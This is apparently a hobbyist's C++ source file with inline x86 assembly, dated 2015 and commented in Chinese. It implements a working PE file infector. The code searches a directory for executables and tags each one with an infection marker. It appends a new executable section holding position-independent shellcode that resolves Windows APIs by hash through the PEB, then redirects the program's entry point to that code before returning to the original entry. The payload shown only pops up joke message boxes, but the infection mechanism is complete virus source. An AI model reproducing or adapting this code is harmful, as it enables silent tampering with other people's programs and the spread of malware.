/*----------2015-09-28 Update ----------*/
将shellcode多线程执行
使用CreateThread函数开辟子线程
子线程会开辟新的堆栈,需要进行新的压栈和函数寻找
#pragma region shellcode __asm{ /*-----ShellCode主线程------*/ shellStart: nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA //push 0x4fd18963 ;hash of ExitProcess push 0x2729f8bb ;hash of CreateThread push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx,[ecx] ; ---win7多此一步 mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of user32.dll //找到函数名表的绝对地址 find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions //指向函数名表中的下一个函数 next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) //对所指向的函数进行hash循环 hash_loop: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions CreateThread_call: call reset reset: pop ebx sub ebx,offset reset lea eax, [ebx + MessageBox_call] xor ebx,ebx push ebx push ebx push ebx push eax push ebx push ebx call [edi-0x08] xor ebx,ebx push ebx // cut string '\0' push 0x21 push 0xa7cbc3ba push 0xdac0c2ba //push 郝磊好帅! push ebx push 0x5151 push 0xd4d7b4c0 //push 来自QQ mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ;//call MessageboxA //-----------------------------------------------------------------// /*-------ShellCode子线程--------*/ MessageBox_call: nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA //push 0x4fd18963 ;hash of ExitProcess push 0x2729f8bb ;hash of CreateThread push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx,[ecx] ; ---win7多此一步 mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions2: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions2 xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of user32.dll //找到函数名表的绝对地址 find_functions2: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions //指向函数名表中的下一个函数 next_function_loop2: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) //对所指向的函数进行hash循环 hash_loop2: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash2 ror edx,7 add edx,eax inc esi jmp hash_loop2 compare_hash2: cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop2 mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions2 xor ebx,ebx push ebx // cut string push 0x21 push 0xa7cbfcb8 push 0xf1c9c2d5 //push 章神更帅! push ebx push 0x5151 push 0xd4d7b4c0 mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ; //call MessageboxA //push ebx //call [edi - 0x08] ; // call ExitProcess nop nop mov eax,0x12345678 ;//任意地址,会被PE原入口地址覆盖 jmp eax }
/-------
通过开辟一个新的节表放置shellcode
修改PE入口点到shellcode,并在shellcode中设置返回原PE入口点
2015-09-20 peic
PE文件格式参考资料:
http://bbs.pediy.com/showthread.php?t=21932
----------/
/*** 本程序只适用于载入基址定位的,非随机基址 感染指定目录的PE文件 添加了一个新节区 弹出一个窗口 2015.9.21 peic ***/ #pragma once #include <Windows.h> #include <stdio.h> #include <assert.h> #include <iostream> using namespace std; #define _MAX_PATH_ 100 #define INFECT_FLAG 0x1301C06 //19930118 char Location[_MAX_PATH_] = "d:\\Users\\Itachi\\Desktop\\PE"; //设置字节对齐 DWORD Align(DWORD size, DWORD Alignment) { //Alignment不能为0 assert(0 != Alignment); if(size % Alignment) { //size大小应该为内存中区块对齐值Alignment的整数倍,如果不是整数倍则扩充到整数倍 //内存:Alignment = 0100h = 4KB //文件:Alignment = 200h = 512B size = (size / Alignment + 1) * Alignment; } return size; } //设置、检测感染标识,返回PE是否被感染 //将PE中的保留空间用来设置感染标识 //PIMAGE_DOS_HEADER是_IMAGE_DOS_HEADER这个结构体的指针 //函数传入的参数是PIMAGE_DOS_HEADER这个类型指针的地址,&进行引用传递表示形参的改变会影响到实参 BOOL SetInfectFlag(PIMAGE_DOS_HEADER &pDosHeader) { if(*(DWORD*)pDosHeader->e_res2 == INFECT_FLAG) { printf("This PE file has been infected!\n"); return FALSE; //被感染 } else { *(DWORD*)pDosHeader->e_res2 = INFECT_FLAG; return TRUE; //未被感染 } } //检查是否为PE文件,传入参数为OpenFile保存的文件内存映射地址lpMemory BOOL IsPeFile(LPVOID lpMemory) { //判断DOS的MZ头 IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpMemory; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { printf("This file is not a PE file !\n"); return FALSE; } //判断NT的PE头 IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)lpMemory + pDosHeader->e_lfanew); if(pNtHeader->Signature != IMAGE_NT_SIGNATURE) { printf("This file is not a PE file !\n"); return FALSE; } return TRUE; } //清理函数 void CloseAll(LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpMemory); } //打开文件,传入文件的绝对地址(引用传递) //保存文件内存映射地址:lpMemory BOOL OpenFile(char* szPath, LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap) { //打开文件,得到一个文件的句柄 hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { printf("Can not open the file, ErrorCode = %d\n",GetLastError()); UnmapViewOfFile(lpMemory); return FALSE; } //将文件映射到内存,创建文件映射对象,得到映射对象的句柄 hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); if(!hMap) { printf("Can not created the file's MapObject! ErrorCode = %d\n", GetLastError()); UnmapViewOfFile(lpMemory); CloseHandle(hFile); return FALSE; } //将文件数据对象映射到本进程的地址空间 lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL); if(!lpMemory) { printf("Can not Map the file to Memory! ErrorCode = %d\n", GetLastError()); UnmapViewOfFile(lpMemory); CloseHandle(hFile); CloseHandle(hMap); return FALSE; } return TRUE; } //感染PE文件 void InfectPE(char *szPath) { LPVOID lpMemory; HANDLE hFile; HANDLE hMap; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_DOS_HEADER pDosHeader; #pragma region perpare //打开文件 if(!OpenFile(szPath, lpMemory, hFile,hMap)) { return; } pDosHeader = (PIMAGE_DOS_HEADER)lpMemory; //判断是否为PE文件 if(!IsPeFile(lpMemory)) { CloseAll(lpMemory,hFile,hMap); return; } pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader->e_lfanew + *(DWORD*)&pDosHeader); //设置感染标识,将文件标为感染了 if(!SetInfectFlag(pDosHeader)) { return; } //检查可用空间 if((pNtHeader->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeader->OptionalHeader.SizeOfHeaders) { CloseAll(lpMemory,hFile,hMap); return; } #pragma endregion //新添加一个节表项 PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHeader + sizeof(IMAGE_NT_HEADERS32)); PIMAGE_SECTION_HEADER pNewSecHeader = (PIMAGE_SECTION_HEADER)(pSecHeader + pNtHeader->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pLastSecHeader = (PIMAGE_SECTION_HEADER)(pNewSecHeader - 1); /*** --------检查一直出错!!!!------------*** //检查PE文件是否有附加数据 DWORD index; //节区起始数据在文件中的偏移 DWORD size = pSecHeader->PointerToRawData; for (index = 0; index < pNtHeader->FileHeader.NumberOfSections; index++) { size += Align(pSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment); } //有附加数据则返回退出 if(size != GetFileSize(hFile, 0)) { return; } */ /*弹出对话框shellcode*/ goto shellEnd; #pragma region shellcode __asm{ shellStart: nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx,[ecx] ; ---win7多此一步 mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx // cut string '\0' push 0x21 push 0xa7cbc3ba push 0xdac0c2ba //push 波哥好帅! push ebx push 0x5151 push 0xd4d7b4c0 //push 来自QQ mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ;//call MessageboxA xor ebx,ebx push ebx // cut string push 0x21 push 0xa7cbfcb8 push 0xf1c9c2d5 //push 章神更帅! push ebx push 0x5151 push 0xd4d7b4c0 mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ; //call MessageboxA //push ebx //call [edi - 0x08] ; // call ExitProcess nop nop mov eax,0x12345678 ;//任意地址,会被PE原入口地址覆盖 jmp eax } #pragma endregion shellEnd: PBYTE* pShell; DWORD nShellLen; __asm { lea eax,shellStart mov pShell,eax lea ebx,shellEnd sub ebx,eax mov nShellLen,ebx } /*--------设置新节区的各个参数字段-------------*/ memcpy(pNewSecHeader->Name, ".PEIC", 5); //新节区起始文件的偏移 pNewSecHeader->PointerToRawData = pLastSecHeader->PointerToRawData + Align(pLastSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment); //新节区的内存地址 pNewSecHeader->VirtualAddress = pLastSecHeader->VirtualAddress + Align(pLastSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment); //新节区的大小 DWORD dwPayLoadSize = nShellLen; pNewSecHeader->Misc.VirtualSize = dwPayLoadSize; pNewSecHeader->SizeOfRawData = Align(dwPayLoadSize, pNtHeader->OptionalHeader.FileAlignment); //设置新节区的属性 pNewSecHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; //节区数目加1 pNtHeader->FileHeader.NumberOfSections += 1; //修改PE大小 //对齐后的节区总大小和PE映像装入内存后的总大小 pNtHeader->OptionalHeader.SizeOfCode += Align(pNewSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.FileAlignment); pNtHeader->OptionalHeader.SizeOfImage += Align(pNewSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.SectionAlignment); //绑定导入表地址和大小清零 pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; //向PE中的新节区写入数据 DWORD dwSize = 0; DWORD pFile = 0; //在文件中设置当前读写位置 //从文件末尾开始开始计算偏移量 pFile = SetFilePointer(hFile, 0, 0, FILE_END); //从文件指针指向的位置开始将数据写入到文件中 WriteFile(hFile, pShell, nShellLen, &dwSize, NULL); //如果写入成功,写入数据的大小将会保存在dwSize这个指针指向的内容中 /*----改变PE的入口点---*/ pFile = SetFilePointer(hFile, -6, 0, FILE_CURRENT); //覆盖shellcode的返回地址,跳转回PE原入口点 DWORD dwOldEntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase; WriteFile(hFile, &dwOldEntryPoint, 4, &dwSize, NULL); //写入剩余字节 PBYTE pByte = (PBYTE)malloc(pNewSecHeader->SizeOfRawData-nShellLen); ZeroMemory(pByte, pNewSecHeader->SizeOfRawData-nShellLen); dwSize = 0; pFile = SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, pByte, pNewSecHeader->SizeOfRawData-nShellLen, &dwSize, NULL); FlushFileBuffers(hFile); free(pByte); //设置新的PE入口点 pNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSecHeader->VirtualAddress; //printf("新入口点: %X\n", pNewSecHeader->VirtualAddress); system("pause"); //清理后续工作 FlushViewOfFile(lpMemory, pNtHeader->OptionalHeader.SizeOfHeaders); CloseAll(lpMemory,hFile,hMap); } //扫描查找要感染的PE文件 void FindFile(char *szPath) { WIN32_FIND_DATAA FindFileData; char szFileToFind[MAX_PATH] = {0}; lstrcpyA(szFileToFind, szPath); lstrcatA(szFileToFind,"\\NOTEPAD.EXE"); //查找目录下所有的文件 HANDLE hFindFile = FindFirstFileA(szFileToFind, &FindFileData); if(hFindFile == INVALID_HANDLE_VALUE) { printf("FindFirstFileA Failed!\n"); return; } do { char szNewPath[MAX_PATH] = {0}; lstrcpyA(szNewPath, szPath); //首先判断是否为目录 if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { if(!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")) {} //查找下级目录 else { lstrcatA(szNewPath,"\\"); lstrcatA(szNewPath, FindFileData.cFileName); FindFile(szNewPath); } } //处理找到的文件 else { char szPE[MAX_PATH] = {0}; lstrcpyA(szPE,szNewPath); lstrcatA(szPE,"\\"); lstrcatA(szPE,FindFileData.cFileName); //感染文件 InfectPE(szPE); } } while(FindNextFileA(hFindFile,&FindFileData)); FindClose(hFindFile); } int main() { FindFile(Location); return 0; }